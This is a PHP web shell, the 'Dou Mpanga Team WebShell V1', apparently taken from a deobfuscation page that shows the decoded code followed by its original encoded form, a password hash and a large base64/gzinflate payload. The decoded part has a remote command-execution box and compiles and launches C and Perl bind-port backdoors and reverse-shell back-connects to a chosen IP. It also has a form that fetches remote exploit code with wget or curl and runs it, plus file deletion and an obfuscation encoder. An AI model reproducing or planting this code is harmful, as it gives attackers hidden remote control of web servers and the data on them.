<textarea class='inputzbut' cols=90 rows=10 name="code"></textarea><br><br>
<select class='inptz' size="1" name="ope">
<option value="URLencode">URL</option>
<option value="base64">Base64</option>
<option value="ur">convert_uu</option>
<option value="gzinflates">gzinflate - base64</option>
<option value="str2">str_rot13 - base64</option>
<option value="gzpress">gzcompress - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="gzinflater">gzinflate - str_rot13 - base64</option>
<option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="URL">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encode'>
<input class='inputzbut' type='submit' name='submits' value='Decode'> <br>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'URLencode' : $codi=rawURLencode($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'URL' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;case 'gzpress' : $codi=base64_encode(gzcompress($text));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'URLencode' : $codi=rawURLdecode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'URL' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;case 'gzpress' : $codi=gzuncompress(base64_decode($text));
break;default:break;}}
$html = htmlentities(stripslashes($codi));
echo "<from><br><textarea cols=90 rows=10 class='inputz' readonly>".$html."</textarea></from>";
?>
<body></body></html>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'execute')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=execute" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Execute !" name="submitcmd" style="width:8%;" /></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<?php
echo '<p align="center"><br><br><img src="http://s16.postimg.org/94ob40ayt/image.png" width="300px" > <br><br><b>
<font size="7">© Dou Mpanga Team WebShell V1 2015 (30-08-2015) | Created by BlackhatCode™ <br>
Coded by Cahyo Dwi Putro | Kota Bima - Nusa Tenggara Barat
</p></font>
'; ?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'back'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=back" method="post">
<?php
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process Found Running, Backdoor Setup Successfully.</p>"; }
else { $msg = "<p>Process Not Found Running, Backdoor Not Setup Successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process Found Running, Backdoor Setup Successfully.</p>"; }
else { $msg = "<p>Process Not Found Running, Backdoor Not Setup Successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now Script Try Connect To ".$ip." Port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now Script Try Connect To ".$ip." Port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "Error: File Not Found $namafile";
}
?><br>
<table class="tabnet">
<tr><th>Port Binding</th><th>Back Connect</th><th>Load And Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=back">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="32" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="32" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=back">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="32" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="32" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=back">
<tr><td>URL</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>Command</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">Wget</option>
<option value="wlynx">Lynx</option>
<option value="wfread">Fread</option>
<option value="wfetch">Fetch</option>
<option value="wlinks">Links</option>
<option value="wget">GET</option>
<option value="wcurl">cURL</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table></td></tr></table>
<div style="text-align:center;margin:2px;"><br><?php echo $msg; ?></div>
<?php }
else {
if(isset($_GET['Delete']) && ($_GET['Delete'] != "")){
$file = $_GET['Delete'];
@unlink($file);
}
elseif(isset($_GET['fDelete']) && ($_GET['fDelete'] != "")){
@rmdir(rtrim($_GET['fDelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?></head><center></script>
</div></body></html>
Did this file decode correctly?
Original Code
<?php
$auth_pass = "0097d3e5f126cb1a8f3df7d5ffdba645";
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$dmt = "7L14e+I40jD8uee65j9r2OySeQ6cTxI6ncyQYz4HCCT0zJsH09hAwNgGHMzc/fz2t1eSQoA59+zu/XlzOgFYKpVXpapFqUc+kmydYmZqnOdifv915Pd7YX/+6VVEVEVUF98kTNT4JpRtK5quCg2p6b3lfv7pNyjXmuqxN0R+rbw9FpLP3jPu7a1Fey2/vZ1gDXpnzAlvu8ULx1RiiWU8XY5/9T4nk49iKfj2SaiWo1bvH3TeKs+PaNV7wv1laseNJF1DuRPuQgDAwc9RlRS1fVna+QIXfu7Sf8lSbJGr8J2m4iUdbj31XRPx82pRWkMFAWN+E1GpLR6TOr+p7TbffnirLb4td83xsZ8+1pram6CKx15NrvNw70w09fo6SgrP31UNwXs232Umvb+p76rcTjq9idpZJWjsSPiO2OqIYsPOdaS2ofdSIIomtGepYmnCRAhDUyC+6dpZEw2k8elZGnjy27cOL6rCW7vTxE1TuTE1QPFR7SEK0LzBi4DXnJXxfPtkWD4+sUR91HbSTIf5002CLgkTqCW120X/+Ij8seriQlsVO+0mp83X+ZUjH6Cz1rFqERYgc9T87OjKAGDM7mr29+jt8SGRBF5chhcpOzGYwBxPCwguvvJwrWx5If3r/c8/ffqieM0p4K7fbBLPD/FxKZXkd6WHqIebtNXRnXQiiq3PPp8QCF0AEwOBxxd8e+yT1atAN9Rit30jDerx7/7Amz9r0XeOPRZHAsHLIIz4pihcjAmfWC1auJD5mUIWhF9U0lnT+2oJYG3JWDABKvVulVpHSPRlb7+l3mxS9V3E2t4dodc77VqBi5qoq/eOJfbLFx99+lJJm6Lavv8yZ/7DaSO+PeNzqjjhlTsklUwZC7Um8D7triUJT49iK1xGmtFi9/ZvoTMELue6kt5E78oIgLv/USfsiw/7uP/iM7D4EWZUOvq1NXYtESq4YX7RBFysHIqzBK6srzMlPC/cnoELvX+c/MGdnDAw2EedtcQ+tJQ64uQNBw6r7X/+x7aEjjkTOPLxSi9J8gIU7h//gE/akb3khANk6YCH/0wAN1DyjhPbHdWUoih8LRD2pQPS6NOnFSJkrbj7UXVVB2z0SS3DQBQdh4Hjsz0ANcBsPCcnf0+HVCNDOYCjrfjWazyA57/hhzcUdDIsAuAMkBz4CNGxlIenUQvPkck+ZkWrpXiyhMLBx8uiKp6DNESlmccQN/PNZ7U5FiefOc8FR4QvtI/BiVt9lOW8oG4H0JsoV/JxBs9iOXlTOP9qj+dvKAnkC8P4wvO759bDEErlCc/RXhYU3M8/+XxcSkZ7nAYyXF2kKvA6kJXQ79Ni/PBaBrHQpE3w06cjBchTcf+Q53RTkz40IBN8NLKoWuDQp00Tn/8GhCZ9CtoA0EkujlMGCaAOCBKoo763Z17BTp1sLjwLxfjnqwxlBbCFjyfngT+MKtyn35bPl+cC+//qmYGG8/zBKOSoDgRJz5ED2rz+mXhohjC/U9+frG3l9xYsbQEhKpKoHnvanrPZlCrOM/wvAP8F/SH/yclv47lBQOmfAyXuPBfHSv5/wv/By39ecDN4NMBGCkHhHKW4QrapJJMpqO0uiDqBH4k9qQ0zbXF8BIoBzdVz99hQl+9b4qGSzBTicsIp0BaQkqecII3UGZAdmYE7JgsR2h178PkbFmtBOLDwgH1SMPVtMJ6laIhV8fBaqM0dGTABh3E8SL6lwsH+uEVrWpQpGh3kce5cT9z7gqjOkF1AkL6RgnCG7KwvfNN6qkyY8D2w0YAX8Dd1dMSefL67o3X8ySwLz5fh/RdHZxxEbmpeb7J+Bnu1RfH7vfcP0S9RD4KCGN57Yb8TXNc0YasKNKxHnC2/2/AD01UkOB8z3IwSsPc0AYSNl5Si8Haqsug9sRA2h1PGMYeQrWM0wtL5QeVB271CLHwDhk4T92Nd9pAZS5dgzR578QFqfj5E9dbhbXap1sBVL/iAO5/s1YO5DGuBVVAbm4NSAd+OGUbCEg8xJu92yF5U8Mfg759/ogxBH0Te5hhjqTlJOQWEhyzy7f6iyO0bAhcKfgMrGKoaUiipWmR81OoploClUlHC/iZCVRsoJ4IYU/UJ0UzSqu/ehNBvoig2ogN4AquIxT7IuyMBiFmQPxK4+zsu4L8OXV8GYYKXJz//cdCX6PzRsffvgYvgyHsGNX22itzJhZerFr2MTTZDlzfh66u1Y1UtMEYAV3AZlA1DTiSw/YvZ3nkBNaCAPDdxeAeEK4qgM0FGzoB7R10Hs4YHeIyTmgoHxugUDJS5uf0FmcCYz1+OEAbQvw3G9YRjrac34cG2BoEJLMRXPbh2pvU1xUxbRnVa8pzWO2843NH2Fx7u9yOOlZDJU10r95Tjk4unTbxcVz7EZmDBPRbiBfhVx1TXBTZuKPxTDKFBuw268w2fRKuN9lgqLe/6H3Dx1t43KC69JYmTcNTgYJf8QQqBmLCrRzilrWhIQUpSMMNuvWSfjro2vY+1z44Ud3qQkqPuSj9I8p/AhEpOjWXHelxDx56C58yTh3IoCdwRBVUM2EK4WPsEKghZFB3HcqwoTefC8xk6IVBQ2xo0BtY7oXrIBu8TNnMYZRdA8y8S3Rb87vm1DyrbDuhqz/1KV/lCHAN0lm3QFj3qwqqxUHCfYr9mrBGdCHSHT1iCxQcbRwE6HVh9CfqxaPzFhxVD3xhAHM25P774pHtAi00hsAH+hJ++G1ODUKbyeglZvHCytjk2hgWlwcsaGOxZbmPLJS333bYLS0mJVVyj1iIiM4GpyhVrkDoOhWw4cTiHbgFJuDTUSOOZ4FHsyEl8dBlQ7Omb2Qo3Ipx2VJBMaBgRXnNMkGJqzB6BfTFBtq0LnGQwTwxYg1r+8jGu7wYsF+wi+hAtrwKLV4TIs/lM8OD25B1U3OpoQzrhHsy90rg9JiKMOyKP5hWm8dBzDjKLSXihPVU+v3YtJqEmsB0f9unOx9iUbcxaKTXwAVGf7yAA7vYcNMLRrEIBS9vYa7nxkCy/FZ6e4lEhHlbKWXi+dsqdSIfZzIWnUy1XKjHkTUUb7H9BnKhBBcBGDYBvQ7DJtCUS+MxDu/gX7DFQsIOEOz7S4JufuwWBz33hY6/Ej4iaFmC7UB6fntLdLQrZgakTVdsPo+0H9+UOIeBUSd91gDIIwX09+vjDUj0QA8LAepkEJJBjz4mMV4F2f4Au8CwDCM9EHmyo3vlRqBgnm0qypcWtxYjXbpvksIyos4LWMyygI6hTppEWwjdNV7RCE/a0SRl8s8p+i7O9MqBtgUDO6CeoZ29tBDhXF/KUorqAWnYCexeCDNFCcQi2Li1ciA/KiQ1sUYpEgBiuAPL05O4uUcd0tPNmFzCt8Is+uVK6/VNtdHAgUwkvi4oqG0CWjQR33Zrra8lL3ijhWvr+x4yIMNFDkqdZF2MiKGQBFxTfFt+GYHa8DZU3+c4zWVQnwwjfKz8GH96fQi9bk9pytBYtUf1+KfdelzJKsBf/Nlm8vlSfXp607Lv2mptzTy/Vh5YvNNAfTfz1ey1qHQl9Z1Q//2c60mJeErGuojVY8WA0yY/a4Ul12L6ZcXOTee+qGIvMZYUbffbxY5nK9p8ifCImFdKRT7/yS4rGpdNJvJQRx7NLu17++adUX7U26Yxv4+BycdhJLpuzDz4Sfy9+61QLnV7mTunO4NNY/bTf04tNe6K2cbHdbNAzkVNdEQft6VQy/dKvFC8D+fzPPykvyU3mcuif8KneLEiQe29SvDqdnZazL+ltTYw/Sgsl/2g37UYHTmzU63MTLUST++KUz+npsZ71jaJNpzBrKl+lX3/+KZQcpdu9WD74GBDU5uNAqLcfU3z8UI/Io1bmo1uTxE68G+02r0KFMH/zKFMeuqn4IJNCVC6VGPqSx/5FqBdYv2fGP/+U+hasJCvNj6dO972QelreI2U2Nm1iXz3K4uS1zPthpJtiN8XI67g1jV3zD+OXxrAbSJOT54YwWTw8XFJ3Bb/uD+dN2enPPz0/JWKe39t2f+XySBukMqPydiOY6Cijsablhg/Rai0hqsP2uF/7GH17qkr914WMSRjkimXkSOumT41nq01WB98D9cvMzz+J/fdPRuvmZTfP6YpD/papnPpT109kGozGcC/yRsFKF4VluPE0i5RG1dPGUa58m7ay/ufZe2j4ejhIismGrlXPZCEFZ8ur/JP6kKgUuy1oRxpyJyPgoWRl2q2ffogvTfy6+8pCZS+lYolgftaIf1zmw+NLfpTQGlDtV/s2SJrPRbtczuY606uff+o8ilalMxPa/ufS5bdjuz2Id6P0tUMK5TOp2bfT17SelsIPo9hURXfmZrGH09SIHL85lk5Yv/Pk8/VW8qbWK9ck39RKGH1Z9WQiKBVBi5VM/akYkDPh6WYiXx0kX4Kx99asE+zpOf7JN3lqirWRJiqhQ6eb7We7mWng55+is3k8E2vK9K+feDPeH0eHZCUQbPkWKNU66UMxKnOqg0teHYcug0KTajnXk1iFdLWUKTUD46eH8ksL9J8nr7nsYNQD7hCj317Ujujrv9SjTaprKVlmk2Qor8qNZbKpz1MvL+3BJT+qca8moWu+Hm1XzUUViUIKg4frj/fB45Pgf7hWKI/l2PQJzArfu+AbQmZPNPKUmEf9CblKrhey1cK3d3Q0Rr4FJy+VRWbWCdQ+uvF26/l3RfaVOr2wII+SRabwkC5UTY1jpsFqGv6ff21avL5RnhuhSafRikFN1+2bfCUTvvwYh3vZ92Mu/xpY9V+y6U5CVnLzp8mQNsvx6YgiXNe/Uh/KbSz50Xx/lGKm8Wma//mnrpQJyeGWlAhcCR9s/upbstyJvaQCqQdfPNGs1KuSNJYr6eFUKkz6pj7kg9+0j+h4c9B+umxZqqFgNgJ4o9vwDz+qUpBTE0gePcQqbfIyJb8mprNNQElmoWe79dLoVJRZqpQuFVRWPZa9bej1Yu4IdKDQNCzoO88oX4knYRq9Vy07KvqEx1miF5yk2s1i/ceSv9RtCr0kxO63iT8bYslPOfAy5V8qvqyWFFi19JXYCYdC8zeRfi6c8SfEn3+aitXijaRaYO/9mJmmiy/CuBmQuuFOKRrQb0jhoXtMGVfTq0lzFh2nfPVHrGc5DOnxR6gYv36ofJMrk5bYAJkbvPn4+adRsDdWavTSVS9Su9ln3+d7uRq9KpnaduJESaewihP6e+092YwrkvyUKBeahatkvh4vSRutybBKCmheor2bwiRbfgHx+CGFdzNMz1bjyUigGam/DJOFVue6zA+jodjwZfaR8Q37en8x0ZRQQqFlc/xavR69PgRtk0lrBm3hR3xhyNHnSTUV7/38RkWYaVtXJGvafudfyldYdmrzk2REevrUahBVoXM5GLjUkm6o4Cv1T77wh/R68vIa0SqVSeflROrVXtPR3t3ilKDOyqafh9K49l5+9nR9NXIyyb+mMpXAKJB7qRVIvfJ6lK/rTXcWzFzzUK1ef33N6L7I5TQYdnQm/fJAPs0Hkx+tBNjOhZ9/Kub64nKgPtKVkZjuyCHlOh75Fpm9yki1Q56Gr678T7ogWuVAJfatRXz/1pxZi3a99qRUwr5DU7oMjU282C8VivFV+OefBoPWIEq4LlaNYuG+lCq9BNKFXKvTus5XuXzrsRyIFtq14qwYH4zTbzrH13ANOe77VYe6L6VAu2nVGydzRF8T5PQ1QNNBgwE5ftl3pmaZFOxQta7cdfjeu/Gnj1ZfGD6ne4rqz5y++HuD58hDDOVT8VSwt1htutTUc9eSL9+pl/z1cWIUgpHGp0L+RPy0GMnWg7Orm9CH77H1mHuuVd3Mcqg0GAwy/Vd6NKwVJlItozWLzyX+spBazCr6u9ZsLIbKft84q351MNE5YJienBtqdwU1S3pRtY985OP1spr7llkUI4VhbPZc/Zj6c4HIJEOqaR/5500uXAg8WYJvOZStqYHh+1jv+jqX7ItKyWDl55+uU5Fetfz4DhNKmWnDD9/al285/JorN/l+evTURp7l7FhA09ujgpIaPj6+MuYghg5kcqEzd9TROa054rlwPEsgH2R/g1RyuBH4x98CN9e3n17UaUbVuTRo8mWfOfRg22qFuOE7x63F50Cw9e69J2kZ87yDmYa7wn80h0/r9n/oH8ql2MmF1ViC7tJ3j7QD2AiYezW2Xx22OR8x+4mLjmz+bh+4AMk4FABAyzwfAB099FB4j3d5HmqBhC57E5R9mM5ENvqJ2Cse9tjc+BceB0waCXsVbkyVB+JdMeoYvpa5V493WzeqQxf3XAU5FTf7oc79uQqZqioaFagrfq4CZYDkPPjv9W3s2J8c+Quq1JYnv36D7V0HLWwZ9672UBgA6eXIbv6dN04qZkFTg0WpDZ3fbN+GutScbZcdm/Qmmqht779lDFGCZR2D9IftNAX3jBghsJT5ngyPK8fYECbc5uKggVUc86Qw35hOEmdLMr6+YJtch4OFLjvTG1FdsVQY6kC2NMzPIra1GWFtMChVl3H12MP4/czjOaO1QmHnHWG2o0YTHmGefkweRnD4nD59Mrw7pBnZoWYWKs7YFwJroXTq06IO/zPmxHKH5HnTVONg6J5YTHz2Ax1On5Z7glnPtOdK+PmMvwwv+ZEyTn+QIFha8xSDOjmYk5jUQMcwOR0nJZ/IFpi6gslG9piN9itTM5AC4s0lLpBCn9gBA7SjdLHOhiPXht/nQm4spPmWOo/0J0sVBmesgnS/pIoyMTuznw05sGPBnw3AGMFiy4fgMgbWmP7+WtZsTjXwubUNj2sWPgmw1zimY1Up/a6Y34m3CIe1iVTs05HYSQkRWdcXtDbg4NmEaApvqD0ME2+BPRz3pYLRUTTs0PJK9RRL/dKsaPt+VEFkfvcYAVS/I4OK8J2Kqd89MxBvTfPzWuud8+N/t7/TwCwRvbGmTyk1nob8u61MQkbEyefIzd/N+sTLypYaFS/4CP/RoCW+CXsMTn0A8QXtxYkmXIxruSPAbQO4mk97gY9Tn6TZAB6QY6ffPVZL6fCNxYTQukFnLv3+1jtPo05Ev3vgo88WSeWEPOyIFmMaWnJ4TSZOiir3i9UlrbOs4xvWr4+OGnv04cTcf5qfH/tZgJBLMxGOa7DfPRNaRNSmhUPfhq8x7eaQ6YSkMfYFcEQBH/R97TgzcF7k10JalKKFVLXr53MB4e3niAzuF6vjjScIfsHiMePjrPmCAuT7+zn2J1i5rcKMS4041NZAc9ocljxG/LTDQxh79N4T1ADq5H6hV4TWVcDCX14hyGA89Jp3+2a1zWpNyysGgrQiS0kzwaXKJa3S4BV6pKmKWI/XtEmBnufQVz46UWW+UwQ7EUz3XPCEqxAP/p3/9lX7Tx6fB2KJx54zpBdkv4NVIx5mF/c704eGuFC2IDbJp4qp3YiCJgqOY/GJqXHoahKlY+EhBgRIHuRHGhU01bOmDiMr5zenJj8mkWQ8RdkAVZ2x2GCMcbe1IHedtiBSiy0IIBwHRDXMq3yx/JQTDTlz5V/QruxhdbtN5v6cB2KcRBu1LKsRmZKs7/lmDLre7hnKxOQ0ccF4LfpvCK9CKD3MFYSL+1zStWTzM3L9W20QTxBORtKQJnluay7QvHghL0Wtj2iMVdR6baBkdMps4zzHPX/WPHSE6jMSg1PNCXvvhLxRS4HVrloDRy9OVGkiYDOiGMuKJpokdqo9hHwB5j+0itJi5EP5fzir+YfUlQQZeULxs9iZV+1wL+3Ie8Y+vKEI8aLQURhcxVNxMsUUnbUKwTYGAtEmagVoNuw0+9qi2vDfttCId44/Gxr80x7K49NldrwgSalHZEbRsylLRLZeLKKs6XS51HRD6eHWAiqhsEa9R2yiGYxhWfGO7MceRLn26ZPHNPIM89EhSf4rStbKFSK6iXX5os3GnNCW77ywbaXPNYyA9bWa41uM4L26PNPSxYdrz/9FHfMF+IkmRZNldwyfivi1ECsVZfhqZ+OLWciTeTQR99cKeuFFvorhg7yW8CvlwuNawdd78vGvwea0h8/1XqKiDxBzAOA9KbnitBoJNwkQxZ9VBSrFCF8vvqcKDf+318EVNm19WqTixfTTx+sw/RhCBKLx6uOpEhqKeuFtmp8VZUw9kc+lXi6fcNlFvPyYVsUSiVztKUMtv7y8+wqjYEtinD6VKiX1ZaL2x2VHqaXKiaT/Mpa5Kn4k/P33Y3cyzVxIym/34WQkX7cu1UxJ5lTPj+PLY6jvuw6pp9chufDUH7w+8H3f8GwQv/HpN/7XoZh7CmqvbaPrYG3wMOu9zpLqaOeaz+sZTB5JJ613tB4JPsdtsNuPaRPfc9n6UOajEQ4qj4+N1tgXSMK+m1GrRXhSHlSh3vWLkLisFC6L+lS7GGuOlXN2+TJ9/RDiJ6ezip6Pct4zhZ4wWo3H09RxrHOn4cr46rkSnj02M6VPbjJWpqqll0uqEkmHl6816ToYbIxCm+3IpWI6KvYaQgUhO77xic/dVfimwj+9P97c5NRt8kgJvmpebk0fCzWpOumEeC9lpD8QyuH85fVU7jkdiKQeTekon40JpeuHB6X3HK1ei69kf7n35EKVNOHquhV5cxsPhZKWfbn2qd2QL5R/rvdimuX+LN/rPzUaN9/K7+X+VDIa6bavQflP7GUsFdREVXtCj5XwzXKravqUCyl+MUyOPH5cJZNKyUQxSi89flz6U8VBwUorFlin1fwsP8kPM2374SEX/msa3zxXoWKtZ/lSQvHPo3i/PC5Kx+pmPBh9fB7H0pcPQm8kKVy/9MqxT3YsxVuJYnYllnVKvom51jcx0RKDvdxGrvzeVTb6IWSYSaaB11nrW0kdzgJvKKlRYq5znatjUnf0QYVl8KVklYz4fK2xR30XhoFL+UUKiu1puCPNvoXD1XNDP83EB5mxNimnnyPlebhDYj3ki71PtPD8Es6+Rz/4q4euMHyOKxV/Nl6ItfL5YMo/jZQ1fpwr56o1vZ5VBIe5yMzfmz336rEMH/IHfMOgopUTTboX/GvlcOVxpZ9IM4n+5VEOt78911/eZq/VbjPcGWkqfLfi/0kuFaIfo9C16hvOBtOPp/aHRRqnpEzqtESq1XjjdljLdF/z+XM0P5EzlcmwM8yEO6PO9bcr4fVuIFz7XsePsZDYloKT03W82y1djgqtwma9OwxT2qN5IPItXeC7BamnnMa7voJ8TXXIhep4qp4uFC7jgdDNk005lbOn72RfoVeWa0yvJKeJQXlJKoHVzWSHt2SMUy6GDpGBC7bO3nMOBXuygMOcuRNR2bva0m5PbS9wJ3UYO8GDGzvB/xo7hzVpDCuHemrnrJz/mjTzJg1uUs8F3gB3UD+yd+J74WzDG2e/exa3RqzK8kAwbQSzv1aEaUIpY/ox+rbcJKozk+j0+eOm78MnpXmxlsk24JOQUTun3CsXc60esa38fr0cWMf4wUgm3lq1nkXxRbk7mGht8Rvhc9wOlpNd8TURl14+rgrtfOo0nS6Ue4li3W16Ret22UOo+fgQrMGsvATloTjLdJKXGZ/WjTzDXr1jFbmOxuK54Fqg0vYrncCk/ihT/EKn73D5d9Tscj9X15Ftph9GtOTooT26eUF9H/mRX0GrzU2rHKvNqh8xIc0rTrnd7z5fJsv5Rcg/ff11lEJfRVdcD17mn2/Fdrtf64oP9fH4tdrWQSdQJTtJIn41ZW06GVy14+GPnDjIvwi1p8GkSmxXxp4G+bKQHNyU4g/h1iz9rRi89Grk+LBkPUg/krKkF1TdcyASLqdCy9JUJTBO+heK9WsqXGFCoZ/x3Z0X1he56ffVQy5rgFBCYZZXOyqEl/heSmXaD5SCLILQKQsZA3vWaLCdsAz6SglYFq7oisj+8tKAeD7YGXFWd8qqYQN2PuCbsq7JRkdgR1KumkVDnKtxC9Gk87tIkFggSja1I0kbK2a+kFL9vhI7auQR0xC1A+YdPxdJtR+wU08/dZH826wQgoEDE2lOy7rrw3vPVUPxEpqfnGTnlyf7rSZ70Kx9AeDjH7KkCLyNl9XGnFbc/hXnlfiDOSINbdt9kT9zmdFIUyXagsFhN/lUQqquiuq8jYL2CC2xaVJBy/C70+0+stzu5rny0aij63OAsmyG6ndUYXhTYXpSHtKInLeOl0uQpMrG9iO9rL51PZpGhXRyaoSmhzIW9/afgbEIBuR7o0uof5Or8/6ziZysaoPFoGWJhnTD9J/lHyLJyXu+XMv4vuldUnmEYYrRZD02i43rSOW04HjEiq+96ofWew41e8o08So+BN/L8Xf49dt7Np6oxYO5p9HTcmhNevgfUO3h5TDySxj49etJT8/oGf+o2Xzl9U/tsWv5mJ1cqpVBsyMXd7XXnkVBqPl+Ths1W0qnnQgffeVQ41MoOlUqz/FGn2LQrTcGiX795YVKtNr4ppCV3tXaIDB8yl833r9SVOIYhoHhva+pc96v5HPvhVchXdZ4SoVlqT+uCbGYoA1eiw9A5aeHj5dP69vkumZd5VipjNbLDUiRQj23249lr/SNrwRfRXf2aEMeFLv+00F5lmthlPORykgiL7evtMuaQ3yQfMPr50tQbRZ4hd74SGyW9KdPQO361dgw8dEut3C9betb5UUtvPsm/LenQCg4eFnrei3cVjzolVZs0lfFdxr/0ZNzD0JETv8YpTKlYq3X5oMklRIvaLEpFVhPPvdE0PVMtmnZlUdeV3T98jChWXOpa3VDa+lTP2VKdo3n/W9zMC7zzZdu5vRyTc2IoUdG9JfU6qguUcanqZS/Xa4+P/uee77Gx/OVL2z6+KBH+Gv0pTR2BIPvs4dUSHV9PElwSs+tdSxrLV4JhdJGIio1+7z+8fRNSdJF5eFIvclCRh8v4c70W1W8juiPpXjfw9M0XJVBZkoP4ca3/izaC6UD/dCkPxhy/RPYZrz2h9mKZW06Ciohxa/MhNNi3fHlw9Pgc/T87ve9ClA1FLm6FBLXp5ed8lSn2fo2WKhKd+gpFA37ov5Zfijq/cjIH3bmg2zfMBjpBlSvcrXbfYl8617LTpF/0WFFmhbTvj0PdEp6LWYlBU+j5umgex065b/x7Yn8On5WSLLpx9NEMxw8feWbHze117r/8SZfK5UqEd9wskjSJ61vavyo6vx4JBUOVHhx4RQSqfRQ/CVcytV3xgbiiDpc